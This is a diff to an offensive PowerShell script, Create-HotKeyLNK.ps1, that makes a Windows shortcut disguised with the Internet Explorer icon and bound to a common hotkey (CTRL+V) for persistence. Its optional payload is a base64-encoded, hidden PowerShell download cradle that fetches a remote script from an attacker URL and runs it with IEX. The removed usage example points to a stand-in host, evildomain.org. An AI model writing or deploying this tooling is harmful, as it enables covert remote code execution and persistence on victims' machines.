Update

Create-HotKeyLNK.ps1

@@ -2,19 +2,23 @@ function Create-HotKeyLNK {
 <#
     .SYNOPSIS
 
-        Create an LNK file that bind's to a hotkey after reboot.
+        Create an LNK file that bind's to a hotkey. Place on the desktop or $env:APPDATA\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts for persistence.
 
     .DESCRIPTION
 
         Modified from @enigma0x3 https://gist.github.com/enigma0x3/167a213eee2e245986a5ca90bab76c6a
 
-    .PARAMETER Name
+    .PARAMETER LNKName
 
-        The name of the .LNK file to create. 
+        The name of the .LNK file to create. No extension required.
 
     .PARAMETER EXEPath
 
-        Path to the exe you want to execute. Defaults to Internet Explorer.
+        Path to the exe you want to execute.
+
+    .PARAMETER PowerShell
+
+        Switch to use PowerShell as the EXE.
 
     .PARAMETER IconPath
 
@@ -22,51 +26,66 @@ function Create-HotKeyLNK {
 
     .PARAMETER HotKey
 
-        HotKey to bind to. Defaults to "CTRL+C".
+        HotKey to bind to. Defaults to "CTRL+V".
     
-    .PARAMETER PayloadURI
+    .PARAMETER PowerShellPayloadURL
 
-        http://mydomain.com/payload.svg
+        URL to your PowerShell payload http://mydomain.com/payload.svg
 
    .EXAMPLE
 
-        Create-HotKeyLNK -Name Google -EXEPath "C:\\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -HotKey "CTRL+C" -PayloadURI "http://evildomain.org/toteslegit.ps1"
+        Create-HotKeyLNK -Name Google -EXEPath "C:\Windows\System32\calc.exe" -HotKey "CTRL+V"
         
     
 #>
-    [CmdletBinding(DefaultParameterSetName = 'None')]
+    [CmdletBinding()]
     param(
-
     [Parameter(Mandatory=$True)]
         [String]
-        $LNKName = "IE.lnk",
-
-        [Parameter()]
-        [String]
-        $EXEPath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe",
-
-        [Parameter()]
-        $IconPath = "$env:programfiles\Internet Explorer\iexplore.exe",
-
-        [Parameter()]
-        [String]
-        $HotKey = "CTRL+C",
+        $LNKName = "IE",
 
         [Parameter(Mandatory=$False)]
         [String]
-        $PayloadURI
+        $EXEPath = "",
 
-    )
+        [Parameter(Mandatory=$False)]
+        [String]
+        $EXEArgs = "",
 
-    $payload = "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.downloadstring('$PayloadURI'))"
-    $encodedPayload = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))
-    $finalPayload = "-nop -WindowStyle Hidden -enc $encodedPayload"
+        [Parameter(Mandatory=$False)]
+        [Switch]
+        $PowerShell = $False,
+
+        [Parameter(Mandatory=$False)]
+        [String]
+        $IconPath = "$env:programfiles\Internet Explorer\iexplore.exe",
+
+        [Parameter(Mandatory=$False)]
+        [String]
+        $HotKey = "CTRL+V",
+
+        [Parameter(Mandatory=$False)]
+        [String]
+        $PowerShellPayloadURL = ""
+        )
+
+    if ($PowerShell -eq $True) {
+        $PowerShell = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe"
+        $payload = "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.downloadstring('$PowerShellPayloadURL'))"
+        $encodedPayload = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))
+        $EXEPath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe"
+        $arguments = "-nop -WindowStyle Hidden -enc $encodedPayload"
+        
+    } 
+    
     $obj = New-Object -ComObject WScript.Shell
-    $link = $obj.CreateShortcut($LNKName)
+    $link = $obj.CreateShortcut((Get-Location).Path + "\" + $LNKName + ".lnk")
+    Write-Host $link
     $link.WindowStyle = '7'
     $link.TargetPath = $EXEPath
     $link.HotKey = $HotKey
     $link.IconLocation = $IconPath
-    $link.Arguments = $finalPayload
+    $link.Arguments = $arguments
     $link.Save()
+    Write-Host "Done"
 }